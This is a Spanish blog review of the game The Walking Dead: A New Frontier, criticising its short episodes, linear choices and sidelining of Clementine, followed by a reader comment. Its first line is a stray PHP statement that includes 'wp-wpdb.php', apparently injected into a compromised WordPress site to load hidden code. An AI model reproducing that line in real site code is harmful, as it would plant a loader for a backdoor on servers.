if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis The Walking Dead: A New Frontier – La Fortaleza de LeChuck

Análisis The Walking Dead: A New Frontier

The Walking Dead es sin duda la serie más aclamada y exitosa que tiene Telltale, desde sus inicios en 2012 su sistema de juego y decisiones ha hecho que se ganen un merecido hueco en esta industria, y con razón, ya han pasado 3 años desde que la segunda temporada aterrizó en el mercado y a pesar de que lo tenía muy difícil por lo genial que fue la primera temporada supo estar a la altura, y ahora tras una larga espera Clementine vuelve a casa por Navidad, aunque con menos fuerza de la que se esperaba en The Walking Dead: A New Frontier.

The Walking Dead: A New Frontier sigue la estela de las anteriores temporadas manteniendo la fórmula de Telltale con su particular sistema de decisiones y giros de guión, y a pesar de que venga con un aspecto mejorado empiezan a notársele los años a esta jugabilidad tan particular.

Han pasado nada más y nada menos que 4 años desde nuestra aventura en busca de Wellington, y las cosas, por desgracia, no han mejorado mucho, tras cualquiera de los finales de la segunda temporada, Clementine pasará por una gran cantidad de incidentes que se nos irán contando mediante flashback conforme vaya avanzando la historia principal, y aquí es donde el juego empieza a flaquear, ya que el personaje más famoso y querido de esta saga pasa a ser ahora un simple personaje secundario.

La historia toma como plano principal el presente, pero en varias ocasiones tendremos que tomar decisiones de situaciones que han sucedido en el pasado y que dan forma al transcurso del episodio, en esta ocasión tendremos como protagonista a Javier, un chico latino de no más de 30 años que viaja con lo poco que le queda de su familia y juntos tendrán que buscar la forma de sobrevivir, lo típico en este juego, no quiero entrar en más detalles sobre la historia ya que cualquier anécdota adicional puede estropear la experiencia.

Una de las cosas a destacar es que por el momento las decisiones tomadas en la segunda temporada apenas tienen repercusión, solo cambian uno o dos flashbacks y no tiene pinta de que vayan a tener mucho más peso ya que se han quitado de encima muchas situaciones importantes de forma un tanto discutible.

Los episodios son bastante más cortos que en temporadas pasadas y eso no hace más que poner un poco en duda de si esta temporada va a estar al nivel que las anteriores, el primer y segundo capítulo han durado poco más de una hora cada uno, y la verdad, saben a poco, no hay mucho que contar en tan poco tiempo si quieren que profundicemos con los nuevos personajes y eso acaba por pasarle factura a la historia, como aliciente aquellos que sigan la serie de televisión o que lean los cómics tendrán más de una sorpresa en esta temporada.

En el apartado técnico en cambio se ha podido ver una grandísima mejora, el modelado de los personajes es mucho más proporcionado y realista, sí que es cierto que el estilo cómic tenía su encanto en las anteriores temporadas, pero se quedaba un poco atrás en el tema de las expresiones faciales que eran muy forzadas y a veces confusas, a pesar de tener un mayor realismo se han respetado las líneas de cómic que recubren a los personajes y objetos para que mantengan la misma línea.

Los efectos de luz también han sido mejorados y el ambiente en general es mucho más natural, sabemos que esto no es lo más importante en un juego de este estilo, pero se agradece bastante este cambio, ya que el juego deja estampas bastante bonitas. El apartado sonoro también se ha cuidado con mucho mimo, la banda sonora tiene temas muy interesantes y en los pocos momentos de calma que tenemos podemos oír una gran cantidad de sonidos de fondo que ayudan a meternos en la atmósfera del juego.

De primeras es todo una pequeña decepción, el hecho de que Clementine pase a un plano secundario y sea sustituida por un personaje muy común y plano no me termina de convencer, por otro lado la duración de cada capítulo es de chiste, en anteriores temporadas era difícil que bajasen de las 3 horas.

Sí que es cierto que en tema de jugabilidad está muy bien, el sistema de decisiones es como estamos acostumbrados y los giros de guión lo hacen bastante entretenido, pero al ser tan cortos los capítulos no hay mucho en lo que profundizar y se hacen muy lineales.

IMPRESIONES TRAS JUGAR LA TEMPORADA COMPLETA

Tras haber jugado los 5 episodios varias veces para poder ver todos los finales diferentes y el peso de las decisiones, he de decir que esta temporada no está a la altura de las demás como se iba viendo en los primeros episodios, por un lado los personajes caen en clichés y estereotipos muy comunes, esto hace que no tengan una personalidad muy marcada, salvo escasas excepciones, haciéndolos un tanto mediocres, solo se salvan algunos flashbacks donde sí que podemos ver algo relevante de esos personajes que dan sentido a sus motivaciones, pero en general hay una preocupante ausencia de carisma.

Por otro, y este para mí es el peor aspecto de este juego, las situaciones y lo que está ocurriendo en el momento se centran demasiado en dar una “sensación de drama” de forma muy forzada, en las anteriores entregas todo tenía su ritmo, había muchos momentos de calma que contrastaban bien con los momentos de acción o angustia (mención especial al 2º capítulo de la primera temporada) haciendo que el jugador disfrutase más y pudiese pararse a interactuar con los personajes, en esta ocasión apenas tendremos momentos de calma y varios episodios se pueden resumir en que sólo tienen conversaciones y quick time events, nada más.

Puede que yo sea un poco tiquismiquis, pero lo que me gustaba de las anteriores entregas es que el juego no parecía muy lineal y había varios momentos donde podías estrechar lazos con los compañeros que tú quieras y forjar las relaciones a tu manera, este juego carece de esto y encima se siente demasiado lineal ya que hagas lo que hagas va a ocurrir lo mismo en mayor o menor grado.

En cuanto a la historia en general, pues poco más que decir, mis sospechas se cumplen y salvo el trayecto final todo lo demás es un tanto soso, aunque hay que romper una lanza a favor de la gran cantidad de finales que tiene los cuales son muy diferentes y están bien definidos en los que puedes llegar a soltar una lagrimilla, sí que es cierto que las decisiones tienen poco peso real dentro de la narrativa salvo en un par de conversaciones que se pueden volver en tu contra, pero al final del todo te pueden servir para que ciertos personajes no puedan morir.

En general creo que más que una temporada oficial podría haber sido un simple spin off, ya que no aporta demasiado a la historia principal y dudo mucho que lo que haya pasado aquí acabe teniendo peso en las siguientes entregas, el juego no deja de ser entretenido, pero a unos niveles muy inferiores de sus otras entregas y se ve que la fórmula Telltale está empezando a oler un poco a quemado, no es un juego que no recomiende jugarlo pero de antemano os digo que no esperéis demasiado ya que todo se siente muy forzado y lineal con unos personajes un tanto insulsos, esperemos que se pongan las pilas y no dejen morir a esta saga que tan “buenos” y “malos” momentos nos ha dado.

1 comentario

  1. Que queréis que os diga, clementine me fascina tanto como personaje que desde que aparece por primera vez me encontré emocionado como una nena. Quizá (seguro) soy demasiado benevolente con este saga y me enamora cada entrega, pero sé de lo que peca y en esta última entrega se nota mucho, esa linealidad y agobio sin momentos de calma acaba pasando un poco factura.

    Por lo menos pudimos saber un poco mas de clementine que para mi eso es alegría, aunque cosas como el paradero de christa o que fue de la loca que le robó la caravana a kenny quedan en el aire (de hecho me parecería hasta inteligente no responderlo pues clementine no puede enterarse de todo en la vida).

    Buen análisis, aunque amo demasiado al juego para ser tan rudo con el xD.

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